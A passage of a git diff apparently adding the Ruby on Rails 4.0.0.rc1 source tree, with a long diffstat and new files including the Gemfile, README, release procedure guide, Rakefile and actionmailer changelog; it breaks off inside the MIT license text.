.../rails/assets/templates/javascript.js | 2 +
.../rails/assets/templates/stylesheet.css | 4 +
.../lib/rails/generators/rails/controller/USAGE | 18 +
.../rails/controller/controller_generator.rb | 20 +
.../rails/controller/templates/controller.rb | 13 +
.../lib/rails/generators/rails/generator/USAGE | 12 +
.../rails/generator/generator_generator.rb | 25 +
.../templates/%file_name%_generator.rb.tt | 3 +
.../generators/rails/generator/templates/USAGE.tt | 8 +
.../generator/templates/templates/.empty_directory | 0
railties/lib/rails/generators/rails/helper/USAGE | 17 +
.../generators/rails/helper/helper_generator.rb | 13 +
.../generators/rails/helper/templates/helper.rb | 4 +
.../rails/generators/rails/integration_test/USAGE | 10 +
.../integration_test/integration_test_generator.rb | 7 +
.../lib/rails/generators/rails/migration/USAGE | 35 +
.../rails/migration/migration_generator.rb | 8 +
railties/lib/rails/generators/rails/model/USAGE | 100 +
.../generators/rails/model/model_generator.rb | 8 +
.../lib/rails/generators/rails/plugin_new/USAGE | 10 +
.../rails/plugin_new/plugin_new_generator.rb | 368 ++
.../rails/plugin_new/templates/%name%.gemspec | 26 +
.../generators/rails/plugin_new/templates/Gemfile | 30 +
.../rails/plugin_new/templates/MIT-LICENSE | 20 +
.../rails/plugin_new/templates/README.rdoc | 3 +
.../generators/rails/plugin_new/templates/Rakefile | 25 +
.../%name%/application_controller.rb.tt | 4 +
.../app/helpers/%name%/application_helper.rb.tt | 4 +
.../templates/app/mailers/.empty_directory | 0
.../templates/app/models/.empty_directory | 0
.../views/layouts/%name%/application.html.erb.tt | 14 +
.../rails/plugin_new/templates/bin/rails.tt | 7 +
.../rails/plugin_new/templates/config/routes.rb | 6 +
.../rails/plugin_new/templates/gitignore | 10 +
.../rails/plugin_new/templates/lib/%name%.rb | 6 +
.../plugin_new/templates/lib/%name%/engine.rb | 7 +
.../plugin_new/templates/lib/%name%/version.rb | 3 +
.../templates/lib/tasks/%name%_tasks.rake | 4 +
.../plugin_new/templates/rails/application.rb | 17 +
.../rails/plugin_new/templates/rails/boot.rb | 5 +
.../plugin_new/templates/rails/javascripts.js | 13 +
.../rails/plugin_new/templates/rails/routes.rb | 4 +
.../plugin_new/templates/rails/stylesheets.css | 13 +
.../rails/plugin_new/templates/test/%name%_test.rb | 7 +
.../templates/test/integration/navigation_test.rb | 12 +
.../rails/plugin_new/templates/test/test_helper.rb | 15 +
railties/lib/rails/generators/rails/resource/USAGE | 23 +
.../rails/resource/resource_generator.rb | 20 +
.../resource_route/resource_route_generator.rb | 50 +
railties/lib/rails/generators/rails/scaffold/USAGE | 35 +
.../rails/scaffold/scaffold_generator.rb | 30 +
.../rails/scaffold/templates/scaffold.css | 56 +
.../generators/rails/scaffold_controller/USAGE | 19 +
.../scaffold_controller_generator.rb | 27 +
.../scaffold_controller/templates/controller.rb | 68 +
railties/lib/rails/generators/rails/task/USAGE | 9 +
.../rails/generators/rails/task/task_generator.rb | 12 +
.../rails/generators/rails/task/templates/task.rb | 8 +
railties/lib/rails/generators/resource_helpers.rb | 78 +
railties/lib/rails/generators/test_case.rb | 36 +
railties/lib/rails/generators/test_unit.rb | 8 +
.../test_unit/controller/controller_generator.rb | 15 +
.../controller/templates/functional_test.rb | 19 +
.../test_unit/helper/helper_generator.rb | 13 +
.../test_unit/helper/templates/helper_test.rb | 6 +
.../test_unit/integration/integration_generator.rb | 13 +
.../integration/templates/integration_test.rb | 7 +
.../test_unit/mailer/mailer_generator.rb | 14 +
.../test_unit/mailer/templates/functional_test.rb | 21 +
.../generators/test_unit/model/model_generator.rb | 36 +
.../test_unit/model/templates/fixtures.yml | 27 +
.../test_unit/model/templates/unit_test.rb | 9 +
.../test_unit/plugin/plugin_generator.rb | 13 +
.../plugin/templates/%file_name%_test.rb.tt | 7 +
.../test_unit/plugin/templates/test_helper.rb | 2 +
.../test_unit/scaffold/scaffold_generator.rb | 33 +
.../scaffold/templates/functional_test.rb | 51 +
.../lib/rails/generators/testing/assertions.rb | 121 +
railties/lib/rails/generators/testing/behaviour.rb | 106 +
.../rails/generators/testing/setup_and_teardown.rb | 18 +
railties/lib/rails/info.rb | 116 +
railties/lib/rails/info_controller.rb | 33 +
railties/lib/rails/initializable.rb | 89 +
railties/lib/rails/paths.rb | 216 ++
railties/lib/rails/rack.rb | 7 +
railties/lib/rails/rack/debugger.rb | 24 +
railties/lib/rails/rack/log_tailer.rb | 34 +
railties/lib/rails/rack/logger.rb | 85 +
railties/lib/rails/railtie.rb | 212 ++
railties/lib/rails/railtie/configurable.rb | 35 +
railties/lib/rails/railtie/configuration.rb | 100 +
railties/lib/rails/ruby_version_check.rb | 13 +
railties/lib/rails/rubyprof_ext.rb | 35 +
railties/lib/rails/source_annotation_extractor.rb | 127 +
railties/lib/rails/tasks.rb | 16 +
railties/lib/rails/tasks/annotations.rake | 20 +
railties/lib/rails/tasks/documentation.rake | 64 +
railties/lib/rails/tasks/engine.rake | 72 +
railties/lib/rails/tasks/framework.rake | 76 +
railties/lib/rails/tasks/log.rake | 23 +
railties/lib/rails/tasks/middleware.rake | 7 +
railties/lib/rails/tasks/misc.rake | 60 +
railties/lib/rails/tasks/routes.rake | 7 +
railties/lib/rails/tasks/statistics.rake | 22 +
railties/lib/rails/tasks/tmp.rake | 45 +
.../rails/templates/layouts/application.html.erb | 36 +
.../rails/templates/rails/info/properties.html.erb | 1 +
.../lib/rails/templates/rails/info/routes.html.erb | 9 +
.../rails/templates/rails/welcome/index.html.erb | 245 ++
railties/lib/rails/test_help.rb | 37 +
railties/lib/rails/test_unit/railtie.rb | 18 +
railties/lib/rails/test_unit/sub_test_task.rb | 85 +
railties/lib/rails/test_unit/testing.rake | 151 +
railties/lib/rails/version.rb | 10 +
railties/lib/rails/welcome_controller.rb | 7 +
railties/railties.gemspec | 31 +
railties/test/abstract_unit.rb | 18 +
railties/test/app_rails_loader_test.rb | 68 +
railties/test/application/asset_debugging_test.rb | 64 +
railties/test/application/assets_test.rb | 484 +++
.../application/build_original_fullpath_test.rb | 27 +
railties/test/application/configuration_test.rb | 674 ++++
railties/test/application/console_test.rb | 153 +
railties/test/application/generators_test.rb | 129 +
.../application/initializers/frameworks_test.rb | 231 ++
.../test/application/initializers/hooks_test.rb | 90 +
.../test/application/initializers/i18n_test.rb | 187 +
.../application/initializers/load_path_test.rb | 96 +
.../application/initializers/notifications_test.rb | 43 +
railties/test/application/loading_test.rb | 308 ++
railties/test/application/middleware/cache_test.rb | 180 +
.../test/application/middleware/cookies_test.rb | 47 +
.../test/application/middleware/exceptions_test.rb | 111 +
.../test/application/middleware/remote_ip_test.rb | 54 +
.../test/application/middleware/sendfile_test.rb | 74 +
.../test/application/middleware/session_test.rb | 343 ++
.../test/application/middleware/static_test.rb | 31 +
railties/test/application/middleware_test.rb | 223 ++
railties/test/application/paths_test.rb | 83 +
railties/test/application/rack/logger_test.rb | 54 +
railties/test/application/rackup_test.rb | 43 +
railties/test/application/rake/dbs_test.rb | 171 +
railties/test/application/rake/migrations_test.rb | 158 +
railties/test/application/rake/notes_test.rb | 179 +
railties/test/application/rake_test.rb | 297 ++
railties/test/application/rendering_test.rb | 45 +
railties/test/application/routing_test.rb | 403 +++
railties/test/application/runner_test.rb | 89 +
railties/test/application/test_runner_test.rb | 320 ++
railties/test/application/test_test.rb | 67 +
railties/test/application/url_generation_test.rb | 45 +
railties/test/backtrace_cleaner_test.rb | 24 +
railties/test/code_statistics_calculator_test.rb | 288 ++
railties/test/commands/console_test.rb | 142 +
railties/test/commands/dbconsole_test.rb | 207 ++
railties/test/commands/server_test.rb | 42 +
.../configuration/middleware_stack_proxy_test.rb | 60 +
railties/test/engine_test.rb | 14 +
railties/test/env_helpers.rb | 26 +
.../about_yml_plugins/bad_about_yml/about.yml | 1 +
.../about_yml_plugins/bad_about_yml/init.rb | 1 +
.../plugin_without_about_yml/init.rb | 1 +
.../fixtures/lib/create_test_dummy_template.rb | 1 +
.../generators/active_record/fixjour_generator.rb | 8 +
.../fixtures/lib/generators/fixjour_generator.rb | 2 +
.../fixtures/lib/generators/model_generator.rb | 1 +
.../fixtures/lib/generators/usage_template/USAGE | 1 +
.../usage_template/usage_template_generator.rb | 5 +
.../rails/generators/foobar/foobar_generator.rb | 4 +
railties/test/fixtures/lib/template.rb | 1 +
railties/test/generators/actions_test.rb | 240 ++
railties/test/generators/app_generator_test.rb | 367 ++
railties/test/generators/assets_generator_test.rb | 19 +
.../test/generators/controller_generator_test.rb | 85 +
.../test/generators/generated_attribute_test.rb | 144 +
.../test/generators/generator_generator_test.rb | 59 +
railties/test/generators/generators_test_helper.rb | 39 +
railties/test/generators/helper_generator_test.rb | 54 +
.../generators/integration_test_generator_test.rb | 12 +
railties/test/generators/mailer_generator_test.rb | 86 +
.../test/generators/migration_generator_test.rb | 200 +
railties/test/generators/model_generator_test.rb | 364 ++
railties/test/generators/named_base_test.rb | 125 +
.../test/generators/namespaced_generators_test.rb | 405 +++
railties/test/generators/orm_test.rb | 38 +
.../test/generators/plugin_new_generator_test.rb | 350 ++
.../test/generators/resource_generator_test.rb | 89 +
.../scaffold_controller_generator_test.rb | 169 +
.../test/generators/scaffold_generator_test.rb | 315 ++
railties/test/generators/shared_generator_tests.rb | 142 +
railties/test/generators/task_generator_test.rb | 12 +
railties/test/generators_test.rb | 215 ++
railties/test/initializable_test.rb | 238 ++
railties/test/isolation/abstract_unit.rb | 287 ++
railties/test/paths_test.rb | 233 ++
railties/test/rack_logger_test.rb | 71 +
railties/test/rails_info_controller_test.rb | 56 +
railties/test/rails_info_test.rb | 87 +
railties/test/railties/engine_test.rb | 1255 +++++++
railties/test/railties/generators_test.rb | 126 +
railties/test/railties/mounted_engine_test.rb | 233 ++
railties/test/railties/railtie_test.rb | 207 ++
railties/test/test_info_test.rb | 59 +
tasks/release.rb | 128 +
tools/console | 7 +
tools/profile | 72 +
version.rb | 10 +
2544 files changed, 286941 insertions(+)
diff --git a/.gitignore b/.gitignore
new file mode 100644
index 0000000..7236e39
--- /dev/null
+++ b/.gitignore
@@ -0,0 +1,22 @@
+# Don't put *.swp, *.bak, etc here; those belong in a global ~/.gitignore.
+# Check out http://help.github.com/ignore-files/ for how to set that up.
+
+debug.log
+.Gemfile
+/.bundle
+/.ruby-version
+/Gemfile.lock
+pkg
+/dist
+/doc/rdoc
+/*/doc
+/*/test/tmp
+/activerecord/sqlnet.log
+/activemodel/test/fixtures/fixture_database.sqlite3
+/activesupport/test/fixtures/isolation_test
+/railties/test/500.html
+/railties/test/fixtures/tmp
+/railties/test/initializer/root/log
+/railties/doc
+/railties/tmp
+/guides/output
diff --git a/.travis.yml b/.travis.yml
new file mode 100644
index 0000000..5214b98
--- /dev/null
+++ b/.travis.yml
@@ -0,0 +1,26 @@
+script: 'ci/travis.rb'
+before_install:
+ - gem install bundler
+rvm:
+ - 1.9.3
+ - 2.0.0
+env:
+ - "GEM=railties"
+ - "GEM=ap,am,amo,as"
+ - "GEM=ar:mysql"
+ - "GEM=ar:mysql2"
+ - "GEM=ar:sqlite3"
+ - "GEM=ar:postgresql"
+notifications:
+ email: false
+ irc:
+ on_success: change
+ on_failure: always
+ channels:
+ - "irc.freenode.org#rails-contrib"
+ campfire:
+ on_success: change
+ on_failure: always
+ rooms:
+ - secure: "YA1alef1ESHWGFNVwvmVGCkMe4cUy4j+UcNvMUESraceiAfVyRMAovlQBGs6\n9kBRm7DHYBUXYC2ABQoJbQRLDr/1B5JPf/M8+Qd7BKu8tcDC03U01SMHFLpO\naOs/HLXcDxtnnpL07tGVsm0zhMc5N8tq4/L3SHxK7Vi+TacwQzI="
+bundler_args: --path vendor/bundle --without test
diff --git a/.yardopts b/.yardopts
new file mode 100644
index 0000000..25ec386
--- /dev/null
+++ b/.yardopts
@@ -0,0 +1,4 @@
+--exclude /templates/
+--quiet
+act*/lib/**/*.rb
+railties/lib/**/*.rb
diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md
new file mode 100644
index 0000000..6d3cf07
--- /dev/null
+++ b/CONTRIBUTING.md
@@ -0,0 +1,14 @@
+Ruby on Rails is a volunteer effort. We encourage you to pitch in. [Join the team](http://contributors.rubyonrails.org)!
+
+* If you want to submit a bug report please make sure to follow our [reporting guidelines](http://edgeguides.rubyonrails.org/contributing_to_ruby_on_rails.html#reporting-an-issue).
+
+* If you want to submit a patch, please read the [Contributing to Ruby on Rails](http://edgeguides.rubyonrails.org/contributing_to_ruby_on_rails.html) guide.
+
+*We only accept bug reports and pull requests in GitHub*.
+
+* If you have a question about how to use Ruby on Rails, please [ask the rubyonrails-talk mailing list](https://groups.google.com/forum/?fromgroups#!forum/rubyonrails-talk).
+
+* If you have a change or new feature in mind, please [suggest it on the rubyonrails-core mailing list](https://groups.google.com/forum/?fromgroups#!forum/rubyonrails-core) and start writing code.
+
+Thanks! :heart: :heart: :heart: <br />
+Rails Team
diff --git a/Gemfile b/Gemfile
new file mode 100644
index 0000000..661ef25
--- /dev/null
+++ b/Gemfile
@@ -0,0 +1,83 @@
+source 'https://rubygems.org'
+
+gemspec
+
+gem 'mocha', '~> 0.13.0', require: false
+gem 'rack-cache', '~> 1.2'
+gem 'bcrypt-ruby', '~> 3.0.0'
+gem 'jquery-rails', '~> 2.2.0'
+gem 'turbolinks'
+gem 'coffee-rails', '~> 4.0.0'
+
+# This needs to be with require false to avoid
+# it being automatically loaded by sprockets
+gem 'uglifier', '>= 1.3.0', require: false
+
+group :doc do
+ gem 'sdoc'
+ gem 'redcarpet', '~> 2.2.2', platforms: :ruby
+ gem 'w3c_validators'
+ gem 'kindlerb'
+end
+
+# AS
+gem 'dalli', '>= 2.2.1'
+
+# Add your own local bundler stuff
+local_gemfile = File.dirname(__FILE__) + "/.Gemfile"
+instance_eval File.read local_gemfile if File.exists? local_gemfile
+
+group :test do
+ platforms :mri_19 do
+ gem 'ruby-prof', '~> 0.11.2'
+ end
+
+ platforms :mri_19, :mri_20 do
+ gem 'debugger'
+ end
+
+ gem 'benchmark-ips'
+end
+
+platforms :ruby do
+ gem 'yajl-ruby'
+ gem 'nokogiri', '>= 1.4.5'
+
+ # Needed for compiling the ActionDispatch::Journey parser
+ gem 'racc', '>=1.4.6', require: false
+
+ # AR
+ gem 'sqlite3', '~> 1.3.6'
+
+ group :db do
+ gem 'pg', '>= 0.11.0'
+ gem 'mysql', '>= 2.9.0'
+ gem 'mysql2', '>= 0.3.10'
+ end
+end
+
+platforms :jruby do
+ gem 'json'
+ gem 'activerecord-jdbcsqlite3-adapter', '>= 1.2.7'
+
+ # This is needed by now to let tests work on JRuby
+ # TODO: When the JRuby guys merge jruby-openssl in
+ # jruby this will be removed
+ gem 'jruby-openssl'
+
+ group :db do
+ gem 'activerecord-jdbcmysql-adapter', '>= 1.2.7'
+ gem 'activerecord-jdbcpostgresql-adapter', '>= 1.2.7'
+ end
+end
+
+# gems that are necessary for ActiveRecord tests with Oracle database
+if ENV['ORACLE_ENHANCED']
+ platforms :ruby do
+ gem 'ruby-oci8', '>= 2.0.4'
+ end
+ gem 'activerecord-oracle_enhanced-adapter', github: 'rsim/oracle-enhanced', branch: 'master'
+end
+
+# A gem necessary for ActiveRecord tests with IBM DB
+gem 'ibm_db' if ENV['IBM_DB']
diff --git a/RAILS_VERSION b/RAILS_VERSION
new file mode 100644
index 0000000..0db186f
--- /dev/null
+++ b/RAILS_VERSION
@@ -0,0 +1 @@
+4.0.0.rc1
diff --git a/README.md b/README.md
new file mode 100644
index 0000000..31ee4c1
--- /dev/null
+++ b/README.md
@@ -0,0 +1,78 @@
+## Welcome to Rails
+
+Rails is a web-application framework that includes everything needed to
+create database-backed web applications according to the
+[Model-View-Controller (MVC)](http://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93controller)
+pattern.
+
+Understanding the MVC pattern is key to understanding Rails. MVC divides your
+application into three layers, each with a specific responsibility.
+
+The _View layer_ is composed of "templates" that are responsible for providing
+appropriate representations of your application's resources. Templates can
+come in a variety of formats, but most view templates are HTML with embedded
+Ruby code (ERB files).
+
+The _Model layer_ represents your domain model (such as Account, Product,
+Person, Post, etc.) and encapsulates the business logic that is specific to
+your application. In Rails, database-backed model classes are derived from
+`ActiveRecord::Base`. Active Record allows you to present the data from
+database rows as objects and embellish these data objects with business logic
+methods. Although most Rails models are backed by a database, models can also
+be ordinary Ruby classes, or Ruby classes that implement a set of interfaces
+as provided by the Active Model module. You can read more about Active Record
+in its [README](activerecord/README.rdoc).
+
+The _Controller layer_ is responsible for handling incoming HTTP requests and
+providing a suitable response. Usually this means returning HTML, but Rails
+controllers can also generate XML, JSON, PDFs, mobile-specific views, and
+more. Controllers manipulate models and render view templates in order to
+generate the appropriate HTTP response.
+
+In Rails, the Controller and View layers are handled together by Action Pack.
+These two layers are bundled in a single package due to their heavy interdependence.
+This is unlike the relationship between Active Record and Action Pack, which are
+independent. Each of these packages can be used independently outside of Rails. You
+can read more about Action Pack in its [README](actionpack/README.rdoc).
+
+## Getting Started
+
+1. Install Rails at the command prompt if you haven't yet:
+
+ gem install rails
+
+2. At the command prompt, create a new Rails application:
+
+ rails new myapp
+
+ where "myapp" is the application name.
+
+3. Change directory to `myapp` and start the web server:
+
+ cd myapp
+ rails server
+
+ Run with `--help` or `-h` for options.
+
+4. Go to http://localhost:3000 and you'll see: "Welcome aboard: You're riding Ruby on Rails!"
+
+5. Follow the guidelines to start developing your application. You may find
+ the following resources handy:
+ * [Getting Started with Rails](http://guides.rubyonrails.org/getting_started.html)
+ * [Ruby on Rails Guides](http://guides.rubyonrails.org)
+ * [The API Documentation](http://api.rubyonrails.org)
+ * [Ruby on Rails Tutorial](http://ruby.railstutorial.org/ruby-on-rails-tutorial-book)
+
+## Contributing
+
+We encourage you to contribute to Ruby on Rails! Please check out the
+[Contributing to Ruby on Rails guide](http://edgeguides.rubyonrails.org/contributing_to_ruby_on_rails.html) for guidelines about how to proceed. [Join us!](http://contributors.rubyonrails.org)
+
+## Code Status
+
+* [](https://travis-ci.org/rails/rails)
+* [](https://gemnasium.com/rails/rails)
+
+## License
+
+Ruby on Rails is released under the [MIT License](http://www.opensource.org/licenses/MIT).
diff --git a/RELEASING_RAILS.rdoc b/RELEASING_RAILS.rdoc
new file mode 100644
index 0000000..6f8c79e
--- /dev/null
+++ b/RELEASING_RAILS.rdoc
@@ -0,0 +1,236 @@
+= Releasing Rails
+
+In this document, we'll cover the steps necessary to release Rails. Each
+section contains steps to take during that time before the release. The times
+suggested in each header are just that: suggestions. However, they should
+really be considered as minimums.
+
+== 10 Days before release
+
+Today is mostly coordination tasks. Here are the things you must do today:
+
+=== Is the CI green? If not, make it green. (See "Fixing the CI")
+
+Do not release with a Red CI. You can find the CI status here:
+
+ http://travis-ci.org/rails/rails
+
+=== Is Sam Ruby happy? If not, make him happy.
+
+Sam Ruby keeps a test suite that makes sure the code samples in his book (Agile
+Web Development with Rails) all work. These are valuable integration tests
+for Rails. You can check the status of his tests here:
+
+ http://intertwingly.net/projects/dashboard.html
+
+Do not release with Red AWDwR tests.
+
+=== Do we have any Git dependencies? If so, contact those authors.
+
+Having Git dependencies indicates that we depend on unreleased code.
+Obviously Rails cannot be released when it depends on unreleased code.
+Contact the authors of those particular gems and work out a release date that
+suits them.
+
+=== Contact the security team (either Koz or tenderlove)
+
+Let them know of your plans to release. There may be security issues to be
+addressed, and that can impact your release date.
+
+=== Notify implementors.
+
+Ruby implementors have high stakes in making sure Rails works. Be kind and
+give them a heads up that Rails will be released soonish.
+
+This only needs done for major and minor releases, bugfix releases aren't a
+big enough deal, and are supposed to be backwards compatible.
+
+Send an email just giving a heads up about the upcoming release to these
+lists:
+
+* team at jruby.org
+* community at rubini.us
+* rubyonrails-core at googlegroups.com
+
+Implementors will love you and help you.
+
+== 3 Days before release
+
+This is when you should release the release candidate. Here are your tasks
+for today:
+
+=== Is the CI green? If not, make it green.
+
+=== Is Sam Ruby happy? If not, make him happy.
+
+=== Contact the security team. CVE emails must be sent on this day.
+
+=== Create a release branch.
+
+From the stable branch, create a release branch. For example, if you're
+releasing Rails 3.0.10, do this:
+
+ [aaron at higgins rails (3-0-stable)]$ git checkout -b 3-0-10
+ Switched to a new branch '3-0-10'
+ [aaron at higgins rails (3-0-10)]$
+
+=== Update each CHANGELOG.
+
+Many times commits are made without the CHANGELOG being updated. You should
+review the commits since the last release, and fill in any missing information
+for each CHANGELOG.
+
+You can review the commits for the 3.0.10 release like this:
+
+ [aaron at higgins rails (3-0-10)]$ git log v3.0.9..
+
+If you're doing a stable branch release, you should also ensure that all of
+the CHANGELOG entries in the stable branch are also synced to the master
+branch.
+
+=== Update the RAILS_VERSION file to include the RC.
+
+=== Build and test the gem.
+
+Run `rake install` to generate the gems and install them locally. Then try
+generating a new app and ensure that nothing explodes.
+
+This will stop you from looking silly when you push an RC to rubygems.org and
+then realise it is broken.
+
+=== Release the gem.
+
+IMPORTANT: Due to YAML parse problems on the rubygems.org server, it is safest
+to use Ruby 1.8 when releasing.
+
+Run `rake release`. This will populate the gemspecs with data from
+RAILS_VERSION, commit the changes, tag it, and push the gems to rubygems.org.
+Here are the commands that `rake release` should use, so you can understand
+what to do in case anything goes wrong:
+
+ $ rake all:build
+ $ git commit -am'updating RAILS_VERSION'
+ $ git tag -m'tagging rc release' v3.0.10.rc1
+ $ git push
+ $ git push --tags
+ $ for i in $(ls dist); do gem push $i; done
+
+=== Send Rails release announcements
+
+Write a release announcement that includes the version, changes, and links to
+GitHub where people can find the specific commit list. Here are the mailing
+lists where you should announce:
+
+* rubyonrails-core at googlegroups.com
+* rubyonrails-talk at googlegroups.com
+* ruby-talk at ruby-lang.org
+
+Use Markdown format for your announcement. Remember to ask people to report
+issues with the release candidate to the rails-core mailing list.
+
+IMPORTANT: If any users experience regressions when using the release
+candidate, you *must* postpone the release. Bugfix releases *should not*
+break existing applications.
+
+=== Post the announcement to the Rails blog.
+
+If you used Markdown format for your email, you can just paste it in to the
+blog.
+
+* http://weblog.rubyonrails.org
+
+=== Post the announcement to the Rails Twitter account.
+
+== Time between release candidate and actual release
+
+Check the rails-core mailing list and the GitHub issue list for regressions in
+the RC.
+
+If any regressions are found, fix the regressions and repeat the release
+candidate process. We will not release the final until 72 hours after the
+last release candidate has been pushed. This means that if users find
+regressions, the scheduled release date must be postponed.
+
+When you fix the regressions, do not create a new branch. Fix them on the
+stable branch, then cherry pick the commit to your release branch. No other
+commits should be added to the release branch besides regression fixing commits.
+
+== Day of release
+
+Many of these steps are the same as for the release candidate, so if you need
+more explanation on a particular step, so the RC steps.
+
+Today, do this stuff in this order:
+
+* Apply security patches to the release branch
+* Update CHANGELOG with security fixes.
+* Update RAILS_VERSION to remove the rc
+* Build and test the gem
+* Release the gems
+* If releasing a new stable version:
+ - Trigger stable docs generation (see below)
+ - Update the version in the home page
+* Email security lists
+* Email general announcement lists
+
+=== Emailing the Rails security announce list
+
+Email the security announce list once for each vulnerability fixed.
+
+You can do this, or ask the security team to do it.
+
+Email the security reports to:
+
+* rubyonrails-security at googlegroups.com
+* oss-security at lists.openwall.com
+
+Be sure to note the security fixes in your announcement along with CVE numbers
+and links to each patch. Some people may not be able to upgrade right away,
+so we need to give them the security fixes in patch form.
+
+* Blog announcements
+* Twitter announcements
+* Merge the release branch to the stable branch.
+* Drink beer (or other cocktail)
+
+== Misc
+
+=== Fixing the CI
+
+There are two simple steps for fixing the CI:
+
+1. Identify the problem
+2. Fix it
+
+Repeat these steps until the CI is green.
+
+=== Manually trigger docs generation
+
+We have a post-receive hook in GitHub that calls the docs server on pushes.
+It triggers generation and publication of edge docs, updates the contrib app,
+and generates and publishes stable docs if a new stable tag is detected.
+
+The hook unfortunately is not invoked by tag pushing, so once the new stable
+tag has been pushed to origin, please run
+
+ rake publish_docs
+
+You should see something like this:
+
+ Rails master hook tasks scheduled:
+
+ * updates the local checkout
+ * updates Rails Contributors
+ * generates and publishes edge docs
+
+ If a new stable tag is detected it also
+
+ * generates and publishes stable docs
+
+ This needs typically a few minutes.
+
+Note you do not need to specify the tag, the docs server figures it out.
+
+Also, don't worry if you call that multiple times or the hook is triggered
+again by some immediate regular push, if the scripts are running new calls
+are just queued (in a queue of size 1).
diff --git a/Rakefile b/Rakefile
new file mode 100644
index 0000000..177765f
--- /dev/null
+++ b/Rakefile
@@ -0,0 +1,102 @@
+require 'sdoc'
+require 'net/http'
+
+$:.unshift File.expand_path('..', __FILE__)
+require "tasks/release"
+require 'railties/lib/rails/api/task'
+
+desc "Build gem files for all projects"
+task :build => "all:build"
+
+desc "Release all gems to gemcutter and create a tag"
+task :release => "all:release"
+
+PROJECTS = %w(activesupport activemodel actionpack actionmailer activerecord railties)
+
+desc 'Run all tests by default'
+task :default => %w(test test:isolated)
+
+%w(test test:isolated package gem).each do |task_name|
+ desc "Run #{task_name} task for all projects"
+ task task_name do
+ errors = []
+ PROJECTS.each do |project|
+ system(%(cd #{project} && #{$0} #{task_name})) || errors << project
+ end
+ fail("Errors in #{errors.join(', ')}") unless errors.empty?
+ end
+end
+
+desc "Smoke-test all projects"
+task :smoke do
+ (PROJECTS - %w(activerecord)).each do |project|
+ system %(cd #{project} && #{$0} test:isolated)
+ end
+ system %(cd activerecord && #{$0} sqlite3:isolated_test)
+end
+
+desc "Install gems for all projects."
+task :install => :gem do
+ version = File.read("RAILS_VERSION").strip
+ (PROJECTS - ["railties"]).each do |project|
+ puts "INSTALLING #{project}"
+ system("gem install #{project}/pkg/#{project}-#{version}.gem --local --no-ri --no-rdoc")
+ end
+ system("gem install railties/pkg/railties-#{version}.gem --local --no-ri --no-rdoc")
+ system("gem install pkg/rails-#{version}.gem --local --no-ri --no-rdoc")
+end
+
+desc "Generate documentation for the Rails framework"
+Rails::API::RepoTask.new('rdoc')
+
+desc 'Bump all versions to match version.rb'
+task :update_versions do
+ require File.dirname(__FILE__) + "/version"
+
+ File.open("RAILS_VERSION", "w") do |f|
+ f.puts Rails.version
+ end
+
+ constants = {
+ "activesupport" => "ActiveSupport",
+ "activemodel" => "ActiveModel",
+ "actionpack" => "ActionPack",
+ "actionmailer" => "ActionMailer",
+ "activerecord" => "ActiveRecord",
+ "railties" => "Rails"
+ }
+
+ version_file = File.read("version.rb")
+
+ PROJECTS.each do |project|
+ Dir["#{project}/lib/*/version.rb"].each do |file|
+ File.open(file, "w") do |f|
+ f.write version_file.gsub(/Rails/, constants[project])
+ end
+ end
+ end
+end
+
+#
+# We have a webhook configured in Github that gets invoked after pushes.
+# This hook triggers the following tasks:
+#
+# * updates the local checkout
+# * updates Rails Contributors
+# * generates and publishes edge docs
+# * if there's a new stable tag, generates and publishes stable docs
+#
+# Everything is automated and you do NOT need to run this task normally.
+#
+# We publish a new version by tagging, and pushing a tag does not trigger
+# that webhook. Stable docs would be updated by any subsequent regular
+# push, but if you want that to happen right away just run this.
+#
+desc 'Publishes docs, run this AFTER a new stable tag has been pushed'
+task :publish_docs do
+ Net::HTTP.new('api.rubyonrails.org', 8080).start do |http|
+ request = Net::HTTP::Post.new('/rails-master-hook')
+ response = http.request(request)
+ puts response.body
+ end
+end
diff --git a/actionmailer/CHANGELOG.md b/actionmailer/CHANGELOG.md
new file mode 100644
index 0000000..975f61f
--- /dev/null
+++ b/actionmailer/CHANGELOG.md
@@ -0,0 +1,62 @@
+## Rails 4.0.0 (unreleased) ##
+
+
+## Rails 4.0.0.beta1 (February 25, 2013) ##
+
+* Allow passing interpolations to `#default_i18n_subject`, e.g.:
+
+ # config/locales/en.yml
+ en:
+ user_mailer:
+ welcome:
+ subject: 'Hello, %{username}'
+
+ # app/mailers/user_mailer.rb
+ class UserMailer < ActionMailer::Base
+ def welcome(user)
+ mail(subject: default_i18n_subject(username: user.name))
+ end
+ end
+
+ *Olek Janiszewski*
+
+* Eager loading made to use relation's `in_clause_length` instead of host's one.
+ Fixes #8474.
+
+ *Boris Staal*
+
+* Explicit multipart messages no longer set the order of the MIME parts.
+
+ *Nate Berkopec*
+
+* Do not render views when `mail` isn't called. Fixes #7761.
+
+ *Yves Senn*
+
+* Allow delivery method options to be set per mail instance.
+
+ If your SMTP delivery settings are dynamic, you can now override settings
+ per mail instance for e.g.
+
+ def my_mailer(user, company)
+ mail to: user.email, subject: "Welcome!",
+ delivery_method_options: { user_name: company.smtp_user,
+ password: company.smtp_password }
+ end
+
+ This will ensure that your default SMTP settings will be overridden
+ by the company specific ones. You only have to override the settings
+ that are dynamic and leave the static setting in your environment
+ configuration file (e.g. `config/environments/production.rb`).
+
+ *Aditya Sanghi*
+
+* Allow to set default Action Mailer options via `config.action_mailer.default_options=`. *Robert Pankowecki*
+
+* Raise an `ActionView::MissingTemplate` exception when no implicit template could be found. *Damien Mathieu*
+
+* Allow callbacks to be defined in mailers similar to `ActionController::Base`. You can configure default
+ settings, headers, attachments, delivery settings or change delivery using
+ `before_filter`, `after_filter`, etc. *Justin S. Leitgeb*
+
+Please check [3-2-stable](https://github.com/rails/rails/blob/3-2-stable/actionmailer/CHANGELOG.md) for previous changes.
diff --git a/actionmailer/MIT-LICENSE b/actionmailer/MIT-LICENSE
new file mode 100644
index 0000000..5c668d9
--- /dev/null
+++ b/actionmailer/MIT-LICENSE
@@ -0,0 +1,21 @@
+Copyright (c) 2004-2013 David Heinemeier Hansson
+
+Permission is hereby granted, free of charge, to any person obtaining
+a copy of this software and associated documentation files (the
+"Software"), to deal in the Software without restriction, including
+without limitation the rights to use, copy, modify, merge, publish,
+distribute, sublicense, and/or sell copies of the Software, and to
+permit persons to whom the Software is furnished to do so, subject to
+the following conditions:
+
+The above copyright notice and this permission notice shall be
+included in all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
